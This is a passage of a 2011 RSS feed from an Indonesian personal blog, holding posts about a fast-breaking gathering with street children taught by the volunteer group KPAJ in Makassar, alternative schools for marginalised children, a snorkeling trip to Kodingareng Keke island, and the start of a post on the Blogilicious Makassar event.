		<pubDate>Mon, 15 Aug 2011 05:29:01 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[angingmammiri]]></category>
		<category><![CDATA[Opini]]></category>
		<category><![CDATA[Random Post]]></category>
		<category><![CDATA[Anging Mammiri]]></category>
		<category><![CDATA[Buka Puasa]]></category>
		<category><![CDATA[KPAJ]]></category>
		<category><![CDATA[Pasukan Bintang]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1790</guid>
		<description><![CDATA[Happines is only real when shared , begitu salah satu quote paling berkesan yang saya dengar dari film Into The Wild. Yah, kebahagiaan hanya berarti ketika kita membaginya. Sabtu sore, 13 Agustus 2011 di sebuah rumah sederhana di bilangan kompleks Bung Permai, Jl. Bung sekitar 20 anak-anak yang sebagian besarnya berumur antara 6-10 tahun bermain [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1791" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/08/kpaj2IMG_1504.jpg"><img class="size-full wp-image-1791" title="_kpaj2IMG_1504" src="http://daenggassing.com/wp-content/uploads/2011/08/kpaj2IMG_1504.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Menanti Waktu Berbuka Puasa</p></div>
<h3>Happines is only real when shared , begitu salah satu quote paling berkesan yang saya dengar dari film Into The Wild. Yah, kebahagiaan hanya berarti ketika kita membaginya.</h3>
<p>Sabtu sore, 13 Agustus 2011 di sebuah rumah sederhana di bilangan kompleks Bung Permai, Jl. Bung sekitar 20 anak-anak yang sebagian besarnya berumur antara 6-10 tahun bermain dengan cerianya. Suara mereka riuh rendah memenuhi sore yang cerah menjelang buka puasa. Beberapa anak berkejar-kejaran, beberapa lainnya ada yang bermain bola plastik, sisanya ada yang mengerubuti beberapa wanita dewasa yang memegang buku. Mereka sedang belajar, khidmat meski tetap terasa santai.</p>
<p>Menjelang pukul enam sore, anak-anak itu duduk melingkar di atas hamparan karpet dan spanduk vinyl bekas yang digelar di samping ?rumah mungil itu. Di hadapan mereka bertebaran panganan kecil berupa kue dan gorengan. Meski duduk melingkar, anak-anak itu tetap tak bisa tertib. Sesekali mereka berteriak, saling mencela dan saling menuding. Anak-anak yang lebih dewasa berteriak-teriak mengatur anak-anak yang lebih muda. Tapi sia-sia, energi anak-anak itu seperti tak ada habisnya.</p>
<p>Ketika waktu berbuka tiba, suasana tak jua menjadi hening. Anak-anak itu menyerbu bergelas-gelas es buah yang tersedia di meja, dan dalam hitungan sekejap kue dan gorengan di atas beberapa piring yang terhidang ludes, berpindah dari tangan ke perut mereka. Tawa ceria kemudian memenuhi udara, ada kebahagiaan yang menyesap dalam senja yang makin tenggelam.</p>
<div id="attachment_1792" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/08/kpaj1IMG_1484.jpg"><img class="size-full wp-image-1792" title="_kpaj1IMG_1484" src="http://daenggassing.com/wp-content/uploads/2011/08/kpaj1IMG_1484.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Mereka Yang Sedang Belajar</p></div>
<p>Itulah selintas fragmen yang terjadi sore itu ketika saya bersama beberapa teman <strong><a href="http://angingmammiri.org/">Anging Mammiri</a></strong> menyempatkan diri bergabung dan berbuka puasa bersama teman-teman dari <strong><a href="http://kpajmakassar.org/">Komunitas Pecinta Anak Jalanan ( KPAJ )</a></strong> dan anak-anak asuh mereka yang diberi nama <strong>Pasukan Bintang</strong>.</p>
<p>Dari interaksi yang hanya beberapa jam itu saya bisa merasakan langsung sesuatu yang luar biasa yang dimiliki teman-teman KPAJ itu. Mereka pasti punya niat yang sangat kuat dan tulus, serta tentu saja kesabaran yang mungkin nyaris tak terbatas. Anak-anak Pasukan Bintang sekitar 20 orang dengan beragam usia, mulai dari yang baru sekitar 6 tahun hingga yang sudah menjelang remaja sementara kakak-kakak pengajar yang hadir malam itu tidak genap 10 orang.</p>
<p>Seperti layaknya anak-anak, Pasukan Bintang itu tak bisa diam. Mereka terus saja membuat keributan, dari yang cuma bercanda, tak bisa diam, menganggu teman, bahkan hingga yang berkelahi. ?Selepas maghrib, dua orang anak kecil terlibat perkelahian. Entah awalnya bagaimana, tapi cukup sulit mendamaikan mereka. Seorang kakak KPAJ berusaha membujuk mereka supaya mau bersalaman, yang seorang mau tapi yang satu nampaknya berkeras tidak mau memaafkan. Tangannya mengepal ketika sang kakak memaksanya berjabat tangan dan berdamai. Mereka bahkan masih sempat beradu fisik sekali lagi sebelum akhirnya betul-betul melupakan pertikaian itu.</p>
<p>Suasana riuh rendah itu adalah makanan sehari-hari bagi beberapa anak muda yang tergabung dalam KPAJ. Selama setahun lebih mereka sudah akrab dengan puluhan anak-anak yang sehari-harinya bergaul di jalanan, mencari makan dengan menengadahkan tangan. Anak-anak muda KPAJ merasa kalau anak-anak itu juga punya hak untuk hidup lebih baik dan mendapatkan pendidikan seperti layaknya anak-anak lain yang tak perlu turun ke jalan mencari nafkah.</p>
<div id="attachment_1793" class="wp-caption alignleft" style="width: 310px"><a href="http://daenggassing.com/wp-content/uploads/2011/08/kpaj3IMG_1513.jpg"><img class="size-medium wp-image-1793" title="_kpaj3IMG_1513" src="http://daenggassing.com/wp-content/uploads/2011/08/kpaj3IMG_1513-300x200.jpg" alt="" width="300" height="200" /></a><p class="wp-caption-text">Menolak Bersalaman</p></div>
<p>Hal yang membuat saya kagum adalah sifat sabar mereka. Menghadapi anak-anak yang bukan darah daging mereka, anak-anak yang sama sekali tidak punya hubungan keluarga dengan mereka, anak-anak yang karena terbiasa merasakan kerasnya hidup di jalan kemudian menjadi anak-anak yang keras kepala dan susah diatur. Tapi, kakak-kakak KPAJ itu tetap tenang dan sabar dalam mengajarkan banyak hal kepada anak-anak itu.</p>
<p>Sore itu beberapa kali juga saya melihat mereka membentak, atau bersuara dengan nada yang tinggi tapi sama sekali tidak bermuatan emosi. Semua keluar hanya demi menertibkan anak-anak itu.</p>
<p>Sore itu saya belajar kesabaran dari mereka yang bahkan sama sekali belum pernah merasakan mendidik darah daging mereka sendiri. Sore itu juga saya sekali lagi belajar tentang kebahagiaan yang sebenarnya ketika kebahagiaan itu dibagi. Sore itu kami memang hanya menikmati hidangan berbuka yang sederhana dan apa adanya, tapi raut kebahagiaan dan keceriaan di wajah anak-anak pasukan bintang itu adalah hidangan berbuka puasa yang paling membahagiakan.</p>
<p>Salut untuk teman-teman KPAJ yang tahu betul bagaimana menikmati ?kebahagiaan, yaitu dengan membaginya, membaginya kepada anak-anak yang mungkin tidak seberuntung anak-anak kita di rumah. Saya jadi ingat sebuah kata bijak : manusia kaya dari apa yang dia miliki, tapi manusia bahagia dari apa yang dia bagikan.</p>
<p>Sampai ketemu lagi teman-teman, salam untuk pasukan bintang yang luar biasa itu.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/08/berbuka-bersama-pasukan-bintang/" title="anak jalanan sedang belajar">anak jalanan sedang belajar</a> (3)</li></ul><div class="shr-publisher-1790"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F08%2Fberbuka-bersama-pasukan-bintang%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/08/berbuka-bersama-pasukan-bintang/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Sekolah Alternatif, Memanusiakan Mereka Yang Terpinggirkan</title>
		<link>http://daenggassing.com/2011/08/sekolah-alternatif-memanusiakan-mereka-yang-terpinggirkan/</link>
		<comments>http://daenggassing.com/2011/08/sekolah-alternatif-memanusiakan-mereka-yang-terpinggirkan/#comments</comments>
		<pubDate>Tue, 02 Aug 2011 04:00:09 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[angingmammiri]]></category>
		<category><![CDATA[tudang sipulung]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1755</guid>
		<description><![CDATA[Ketika berada di lampu merah, seberapa sering anda mendapati anak-anak kecil menengadahkan tangan meminta belas kasihan ke para pengendara ? Pernahkah anda berpikir kalau anak-anak itu tidak seharusnya ada di jalanan dan seharusnya ada di sekolah, menuntut ilmu seperti anak-anak normal lainnya ? Di Makassar, di sebuah kawasan bernama Tamalanrea ada beberapa anak muda yang [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1756" class="wp-caption aligncenter" style="width: 640px"><a href="http://daenggassing.com/wp-content/uploads/2011/08/Anak-Jalanan.jpg"><img class="size-full wp-image-1756" title="Anak Jalanan" src="http://daenggassing.com/wp-content/uploads/2011/08/Anak-Jalanan.jpg" alt="" width="630" height="391" /></a><p class="wp-caption-text">Demo Anak Jalanan ( foto by ; Okezone )</p></div>
<h3>Ketika berada di lampu merah, seberapa sering anda mendapati anak-anak kecil menengadahkan tangan meminta belas kasihan ke para pengendara ? Pernahkah anda berpikir kalau anak-anak itu tidak seharusnya ada di jalanan dan seharusnya ada di sekolah, menuntut ilmu seperti anak-anak normal lainnya ?</h3>
<p>Di Makassar, di sebuah kawasan bernama Tamalanrea ada beberapa anak muda yang meluangkan waktu mereka berusaha mengembalikan anak-anak itu ke sekolah. Anak-anak muda yang seharusnya lebih fokus memikirkan kuliah mereka atau karir mereka ternyata masih meluangkan waktu untuk memikirkan anak-anak jalanan di seputaran kampus UNHAS Tamalanrea.</p>
<p>Anak-anak muda itu tergabung dalam <strong><a href="http://kpajmakassar.org/">Komunitas Pecinta Anak Jalanan ( KPAJ )</a></strong> mereka bergerak didasari rasa kemanusiaan yang tinggi, mereka percaya kalau anak-anak itu juga punya hak untuk bersekolah, punya hak untuk ikut merasakan pendidikan yang bisa mengubah jalan hidup mereka. KPAJ percaya kalau jalanan bukan tempat buat anak-anak itu, mereka harusnya ada di sekolah. Bukan di jalanan dan mencari uang, entah untuk makan atau sekadar untuk menyalurkan hobi mereka bermain game online di game centre.</p>
<p>KPAJ yang mulai terbentuk sekitar Februari 2010 berawal dari keprihatinan seorang mahasiswa Teknik Sipil melihat anak-anak jalanan sekitar kampus UNHAS yang tidak bersekolah. Bersama teman-temannya mereka kemudian menggelar Sekolah Ahad, sekolah non formil di mana mereka mengumpulkan anak-anak itu untuk diajar membaca,menulis dan berhitung setiap minggu pagi di dekat danau UNHAS.</p>
<p>Setelah setahun lebih KPAJ sudah semakin mapan. Berbekal donasi dari banyak pihak mereka sekarang sudah punya sekertariat yang mapan sehingga anak-anak itu bisa lebih enak untuk menimba ilmu. KPAJ juga punya program lain, mengembalikan anak-anak itu ke sekolah formil berbekal beasiswa dari beberapa orang tua asuh.</p>
<p><span id="more-1755"></span>Tidak sedikit tantangan yang mereka terima dalam kurun waktu satu tahun lebih berjalannya KPAJ. Bukan hal yang gampang untuk menggoda anak-anak itu meninggalkan kebiasaan mereka di jalanan? dan menggantinya dengan kebiasaan mencari ilmu. Awalnya anak-anak itu harus dijemput setiap sekolah ahad, tapi seiring berjalannya waktu anak-anak itu kemudian datang dengan sukarela dan sukacita ke sekolah KPAJ.</p>
<div id="attachment_1757" class="wp-caption alignleft" style="width: 310px"><a href="http://daenggassing.com/wp-content/uploads/2011/08/KPAJ1.jpg"><img class="size-medium wp-image-1757" title="KPAJ1" src="http://daenggassing.com/wp-content/uploads/2011/08/KPAJ1-300x225.jpg" alt="" width="300" height="225" /></a><p class="wp-caption-text">Suasana belajar KPAJ</p></div>
<p>Anak-anak didik KPAJ diberi label <strong>&#8220;Pasukan Bintang&#8221;</strong>, alasannya mereka ingin menghilangkan strereotip anak jalanan pada mereka dan menggantinya dengan label bintang, pertanda harapan tinggi yang mereka gantungkan pada anak-anak yang kurang beruntung itu.</p>
<p>Di satu sisi lain Makassar ada juga sekelompok anak muda dengan niat yang sama. Dari sebuah perkampungan yang termasuk perkampungan kumuh kota Makassar mereka membentuk sebuah sekolah yang berafiliasi dengan <strong>Sokola Rimba</strong> milik Butet Manurung. Namanya juga Sokola, dan mulai berdiri sejak tahun 2004.</p>
<p>Seperti KPAJ, Sokola juga butuh waktu untuk bisa masuk ke dalam kehidupan warga pesisir Mariso yang didominasi oleh para pekerja non formil dan beberapa pecandu alkohol. Bukan hal yang mudah, tapi dengan niat yang kuat para personil Sokola perlahan tapi pasti bisa merebut kepercayaan dari penduduk sekitar sehingga semakin hari para orang tua di sekitar Mariso bisa mempercayakan anak-anakmereka belajar di Sokola. Bahkan, anak-anak itu belakangan jadi semakin betah di Sokola. Adegan anak sekolah yang dipaksa masuk sekolah sekarang sudah tidak ada, malah sebaliknya. Anak-anak itu harus dipaksa pulang ketika mereka masih betah di sekolah sementara guru-gurunya mau beristirahat.</p>
<p>Sejak tahun 2006 Sokola punya kegiatan baru. Mereka diminta untuk mengajar di sebuah tempat terpencil di Sulawesi Selatan. Sebuah suku bernama suku Kajang yang merupakan salah satu suku di pedalaman kabupaten Bulukumba. Oleh sang Amatoa ( Ketua Adat ) Sokola diminta mengajarkan anak-anak suku Kajang untuk membaca dan menulis.</p>
<p>Ini bukan persoalan mudah karena suku Kajang masih memegang erat adat istiadat mereka sehingga perlu waktu untuk beradaptasi dengan aturan adat mereka sekaligus mencari cara terbaik untuk proses belajar-mengajar. Cara yang tentu saja tidak boleh disamakan dengan cara mengajar anak-anak di kota misalnya.</p>
<p>Habibi, perwakilan Sokola yang malam itu hadir di acara Tudang Sipulung bercerita <strong>bahwa improvisasi dan kreatifitas adalah kunci utama dalam mengajar anak-anak</strong> pesisir Mariso, anak-anak di suku Kajang maupun di tempat lain seperti di Flores dan Halmahera yang juga berada dalam naungan Sokola. Mereka tak bisa bertindak kaku sesuai buku teks atau seperti aturan sekolah pada umumnya. Mereka harus pandai-pandai mencari celah agar anak-anak didik itu bisa betah belajar meski itu berarti para pengajar juga harus turun ke sawah atau ke dangau bersama anak-anak didik mereka.</p>
<p>Bagaimana dengan bantuan pemerintah selama ini ? bisa dibilang sama sekali tidak ada, dan itu sangat ironis. Di saat ada anak muda yang mengambil alih sebuah pekerjaan yang seharusnya menjadi tugas mereka, pemerintah malah berucap : <strong><em>sudahlah, kalian kuliah saja yang benar tidak usah pusing-pusing memikirkan urusan seperti itu.</em></strong> Itu jawaban yang diberikan mereka kepada anak-anak KPAJ ketika mereka berusaha mencari dana dari pemerintah.</p>
<p>Lain KPAJ, lain dengan Sokola. Sokola pernah mendapat bantuan dari pemerintah, hanya saja ada yang aneh. Bantuan yang mereka dapatkan sebesar 60% dari anggaran tapi mereka harus membuat laporan pertanggungjawaban sebesar 100%.</p>
<p>Urusan dengan pemerintah yang berbelit-belit dan penuh birokrasi itu yang kemudian membuat teman-teman dari Sokola dan KPAJ berhenti meminta dukungan dari pemerintah. Sumber utama dana untuk menghidupkan program mereka adalah dari donasi warga dan hasil dari penjualan merchandise dan hasil kerajinan tangan anak-anak didik mereka. Sungguh sebuah perjuangan yang tidak gampang untuk sebuah niat mulia.</p>
<p>Malam itu kami sungguh beruntung dipertemukan dengan sekelompok anak-anak muda yang sungguh luar biasa. Anak-anak muda yang tidak hanya memikirkan kesenangan masa muda tapi juga begitu tersentuh melihat anak-anak kurang beruntung di sekitar mereka. Hebatnya lagi karena mekat tidak hanya diam dan merasa kasihan, tapi bergerak dan berbuat sesuatu meski mereka sama sekali tidak mendapat dukungan dari pemerintah.</p>
<p><strong>Anak-anak muda yang luar biasa.</strong> Melihat mereka, saya yakin kalau Indonesia belum kehilangan harapan. Indonesia hanya butuh lebih banyak lagi anak-anak muda seperti mereka yang aktif di KPAJ dan Sokola. Anak-anak muda yang memanusiakan anak-anak yang kurang beruntung dan terpinggirkan.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/08/sekolah-alternatif-memanusiakan-mereka-yang-terpinggirkan/" title="anak jalanan sekolah">anak jalanan sekolah</a> (16)</li><li><a href="http://daenggassing.com/2011/08/sekolah-alternatif-memanusiakan-mereka-yang-terpinggirkan/" title="anak jalanan demo">anak jalanan demo</a> (5)</li><li><a href="http://daenggassing.com/2011/08/sekolah-alternatif-memanusiakan-mereka-yang-terpinggirkan/" title="demo anak anak">demo anak anak</a> (5)</li><li><a href="http://daenggassing.com/2011/08/sekolah-alternatif-memanusiakan-mereka-yang-terpinggirkan/" title="kerajinan tangan makasar">kerajinan tangan makasar</a> (4)</li><li><a href="http://daenggassing.com/2011/08/sekolah-alternatif-memanusiakan-mereka-yang-terpinggirkan/" title="anak jalanan surabaya">anak jalanan surabaya</a> (4)</li></ul><div class="shr-publisher-1755"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F08%2Fsekolah-alternatif-memanusiakan-mereka-yang-terpinggirkan%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/08/sekolah-alternatif-memanusiakan-mereka-yang-terpinggirkan/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Family Gathering di Pulau Kodingareng Keke</title>
		<link>http://daenggassing.com/2011/06/family-gathering-di-pulau-kodingareng-keke/</link>
		<comments>http://daenggassing.com/2011/06/family-gathering-di-pulau-kodingareng-keke/#comments</comments>
		<pubDate>Mon, 06 Jun 2011 03:29:45 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[angingmammiri]]></category>
		<category><![CDATA[Jalan-Jalan]]></category>
		<category><![CDATA[Keliling Makassar]]></category>
		<category><![CDATA[Wisata]]></category>
		<category><![CDATA[Kodingareng]]></category>
		<category><![CDATA[Laut]]></category>
		<category><![CDATA[makassar]]></category>
		<category><![CDATA[Pantai]]></category>
		<category><![CDATA[Pulau]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1511</guid>
		<description><![CDATA[Untuk kesekian kalinya, komunitas Blogger Makassar-AngingMammiri- mengadakan family gathering. Kali ini tujuannya adalah pulau Kodingareng Keke, sebuah pulau cantik tak berpenghuni di luar kota Makassar. Kamis, 2 Juni 2011. Jam 8 pagi belasan anggota Anging Mammiri sudah bersiap di dermaga Kayu Bangkoa. Dermaga Kayu Bangkoa adalah dermaga penyeberangan yang jadi pintu menuju berbagai pulau di [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1512" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/06/Kodingareng4.jpg"><img class="size-full wp-image-1512" title="_Kodingareng4" src="http://daenggassing.com/wp-content/uploads/2011/06/Kodingareng4.jpg" alt="" width="600" height="400" /></a><p class="wp-caption-text">Personil lengkap Family Gathering (foto by:Rizved)</p></div>
<blockquote>
<h3><em>Untuk kesekian kalinya, komunitas Blogger Makassar-<strong><a href="http://angingmammiri.org/">AngingMammiri</a></strong>- mengadakan family gathering. Kali ini tujuannya adalah pulau <strong>Kodingareng Keke</strong>, sebuah pulau cantik tak berpenghuni di luar kota Makassar.</em></h3>
</blockquote>
<p>Kamis, 2 Juni 2011. Jam 8 pagi belasan anggota Anging Mammiri sudah bersiap di dermaga Kayu Bangkoa. Dermaga Kayu Bangkoa adalah dermaga penyeberangan yang jadi pintu menuju berbagai pulau di luar kota Makassar. Beragam kapal terparkir di sana, dari kapal kecil bermesin satu hingga kapal besar yang mampu memuat ratusan penumpang.</p>
<p>Menjelang pukul setengah sembilan, hampir semua peserta family gathering sudah berkumpul. Saya dan Nanie sudah melakukan negosiasi dengan Dg. Tayang, seorang pemilik kapal penyeberangan. Awalnya oleh Daeng Tayang kami dipatok harga Rp. 600.000,- per kapal untuk menuju pulau Kodingareng Keke. Jelas harga yang sangat mahal dan tidak terjangkau. Setelah proses tawar-menawar akhirnya disepakati harganya jadi Rp. 400.000,- harga yang masuk akal.</p>
<p><span id="more-1511"></span>Sebagai perbandingan, jarak tempuh ke pulau Kodingareng Keke adalah sekitar 1 jam perjalanan. Lebih lama 15 menit dari pulau Samalona yang harga sewa kapalnya Rp. 300.000,-</p>
<p>Karena jumlah peserta yang lebih dari 30 orang maka kami menyewa 3 kapal karena satu kapal maksimal hanya memuat 10 sampai 12 orang tergantung berat badan. Cuaca sangat cerah ketika rombongan mulai meninggalkan dermaga Kayu Bangkoa. Lautpun tenang, tidak ada riak gelombang sehingga perjalanan kami jadi makin lancar.</p>
<div id="attachment_1513" class="wp-caption alignleft" style="width: 310px"><a href="http://daenggassing.com/wp-content/uploads/2011/06/Kodingareng2.jpg"><img class="size-medium wp-image-1513 " title="_Kodingareng2" src="http://daenggassing.com/wp-content/uploads/2011/06/Kodingareng2-300x200.jpg" alt="" width="300" height="200" /></a><p class="wp-caption-text">Perahu menuju Kodingareng Keke (foto by:Herman Laja)</p></div>
<p>Sekitar sejam kemudian kapal mulai merapat ke sebuah pulau yang dari jauh sudah terlihat begitu menggoda. Pulau kecil dengan lebar tak lebih dari 400 meter yang ditumbuhi beberapa pohon cemara. Airnya begitu bening kebiruan, dari atas kapal kami bisa melihat deretan karang yang begitu cantik dengan beberapa ekor ikan kecil yang berlarian ke sana ke mari. Pasir putihnya membuat mata agak silau, tapi sangat menggoda.</p>
<p>Rombongan mencari tempat teduh di bawah naungan pohon cemara dan menggelar spanduk serta backdrop bekas. Betul-betul terkesan seperti sebuah piknik keluarga. Santai dan hangat. Pulau Kodingareng Keke adalah pulau tak berpenghuni, beberapa tahun lalu ada seorang warga Belanda yang membuat villa kecil sebagai tempat peristirahatan, tapi sekarang villa tersebut sudah ditinggalkan dan hanya tersisa bekasnya saja.</p>
<p>Setelah mengisi perut sejenak dengan beberapa santapan ringan, termasuk kue pawa ( bakpao ) dan jalangkote yang dibawa khusus oleh Daeng Mappe dan keluarga, kami mulai membasahi diri di air laut yang begitu bening dan menggoda itu.</p>
<p>Karena lautnya yang bening dengan karang yang cantik maka tak elok rasanya kalau cuma berenang tanpa snorkling. Dengan bekal snorkling yang dibawa beberapa peserta dan snorkling sewaan, kami mulai mengintip kehidupan dasar laut yang dari atas terlihat menggoda itu.</p>
<div id="attachment_1514" class="wp-caption alignleft" style="width: 310px"><a href="http://daenggassing.com/wp-content/uploads/2011/06/Kodingareng3.jpg"><img class="size-medium wp-image-1514" title="_Kodingareng3" src="http://daenggassing.com/wp-content/uploads/2011/06/Kodingareng3-300x200.jpg" alt="" width="300" height="200" /></a><p class="wp-caption-text">Karang Indah di Bawah Laut ( foto by : Herman Laja )</p></div>
<p>Dan wuih, benar saja. Pemandangan lautnya sungguh cantik. Deretan karang beragam bentuk dan warna menjadi rumah bagi ratusan ikan dengan ragam bentuk yang juga tidak kalah cantiknya. Saya bisa melihat langsung karang yang bentuknya menyerupai otak manusia berwarna merah marun, atau karang yang berwarna biru terang. Ikan-ikannya juga beragam, saya tidak tahu apa namanya tapi yang jelas dari ikan yang berwarna putih atau abu-abu polos hingga ikan yang berwarna-warni semua ada.</p>
<p>Sayangnya saya tidak berbekal kamera bawah laut, padahal rasanya sungguh sayang kalau keindahan itu tidak diabadikan. Saya sampai tidak bosan-bosannya mengintip ke dasar laut, memperhatikan tingkah polah ikan yang lucu, berlarian di antara karang-karang yang cantik, bahkan ada yang sempat mengejar. Teriknya matahari sama sekali bukan halangan, semua begitu ceria menikmati indahnya laut dan pantai Kodingareng Keke. Mereka yang tak sempat snorkling juga cukup puas dengan hanya bermain air, berendam di bagian yang dangkal dan bermain pasir. Anak-anakpun dengan riangnya bermain pasir dan merasakan hangatnya air laut. Betul-betul sebuah gathering yang menyenangkan.</p>
<p>Cukup lama juga kami bermain dengan laut, sampai akhirnya sadar kalau perut mulai keroncongan. Akhirnya sekitar pukul setengah dua siang kami naik ke darat dan menikmati makan siang. Karena di pulau tidak ada air tawar jadi kami biarkan pakaian kering di badan sambil menunggu kapal tiba untuk menjemput kami.</p>
<p>Sambil menunggu kedatangan kapal yang akan mengantarkan kami kembali ke Makassar, seperti biasa kami bercanda dan berbagi cerita. Angin sepoi-sepoi yang menyejukkan ditambah dengan badan yang mulai terasa capek sehabis berenang dan snorkling membuat kami jadi begitu malas. Ingin sekali rasanya tiduran di bawah pohon sambil menikmati semilir angin dan deburan ombak.</p>
<p>Sekitar pukul 3 sore lebih kami akhirnya meninggalkan pulau. Di kapal menuju Makassar, tak ada lagi cerita yang bertebaran, sebagian besar penumpang seperti hendak terlelap, menahan kantuk karena badan yang capek dan godaan semilir angin.</p>
<p>Family gathering kali ini sungguh menyenangkan. Sebuah pengalaman baru di pulau yang indah. Malam harinya saya baru sadar kalau kulit punggung terasa sungguh nyeri akibat terbakar sinar matahari. Di twitterpun berseliweran keluhan para peserta tentang kulit yang terbakar dan kaki yang luka karena karang. Tapi ah, itu semua tidak ada artinya dibanding nikmatnya bermandi matahari, bermain air dan menikmati keindahan bawah laut di pulau <a href="http://bit.ly/k1yXjf">Kodingareng Keke.</a></p>
<p>Berikutnya, pulau Kapoposang jadi tujuan..!!</p>
<div id="attachment_1515" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/06/Kodingareng1.jpg"><img class="size-full wp-image-1515" title="_Kodingareng1" src="http://daenggassing.com/wp-content/uploads/2011/06/Kodingareng1.jpg" alt="Kodingareng Keke" width="600" height="400" /></a><p class="wp-caption-text">Indahnya Pulau Kodingareng Keke (foto by:Herman Laja)</p></div>
<p>&nbsp;</p>
<div id="attachment_1516" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/06/Kodingareng7.jpg"><img class="size-full wp-image-1516" title="_Kodingareng7" src="http://daenggassing.com/wp-content/uploads/2011/06/Kodingareng7.jpg" alt="Kodingareng Keke" width="600" height="400" /></a><p class="wp-caption-text">Pasir putih dan air laut yang jernih</p></div>
<p>&nbsp;</p>
<div id="attachment_1517" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/06/Kodingareng9.jpg"><img class="size-full wp-image-1517" title="_Kodingareng9" src="http://daenggassing.com/wp-content/uploads/2011/06/Kodingareng9.jpg" alt="Kodingareng Keke" width="600" height="400" /></a><p class="wp-caption-text">Bermain pasir dan air laut</p></div>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/06/family-gathering-di-pulau-kodingareng-keke/" title="pulau kodingareng keke">pulau kodingareng keke</a> (10)</li><li><a href="http://daenggassing.com/2011/06/family-gathering-di-pulau-kodingareng-keke/" title="tulisan indah di pasir laut">tulisan indah di pasir laut</a> (3)</li><li><a href="http://daenggassing.com/2011/06/family-gathering-di-pulau-kodingareng-keke/" title="kodingareng">kodingareng</a> (2)</li><li><a href="http://daenggassing.com/2011/06/family-gathering-di-pulau-kodingareng-keke/" title="pulau kodingareng">pulau kodingareng</a> (2)</li><li><a href="http://daenggassing.com/2011/06/family-gathering-di-pulau-kodingareng-keke/" title="tempat untuk family gathering semarang 2011">tempat untuk family gathering semarang 2011</a> (1)</li></ul><div class="shr-publisher-1511"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F06%2Ffamily-gathering-di-pulau-kodingareng-keke%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/06/family-gathering-di-pulau-kodingareng-keke/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Di Balik Layar Blogilicious Makassar</title>
		<link>http://daenggassing.com/2011/05/di-balik-layar-blogilicious-makassar/</link>
		<comments>http://daenggassing.com/2011/05/di-balik-layar-blogilicious-makassar/#comments</comments>
		<pubDate>Wed, 25 May 2011 10:13:44 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[angingmammiri]]></category>
		<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Opini]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[Blogilicious]]></category>
		<category><![CDATA[Idblognetwork]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1472</guid>
		<description><![CDATA[&#160; Kami boleh dibilang sukses menggelar acara blogilicious di Makassar pada tanggal 21-22 Mei 2011. Tapi kalau mau jujur, saya belum puas. Masih ada beberapa kekurangan dalam penyelenggaraan acara, pun acara ini punya banyak cerita di balik layarnya. Sabtu pagi, jarum jam sudah hampir menunjuk ke angka 8:30 pagi. Gedung PKP UNHAS mulai ramai, beberapa [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p style="text-align: center;">&nbsp;</p>
<div id="attachment_1473" class="wp-caption aligncenter" style="width: 624px"><a href="http://daenggassing.com/wp-content/uploads/2011/05/1.jpg"><img class="size-full wp-image-1473 " title="1" src="http://daenggassing.com/wp-content/uploads/2011/05/1.jpg" alt="" width="614" height="411" /></a><p class="wp-caption-text">Suasana Blogilicious Makassar ( foto by; Denun.net )</p></div>
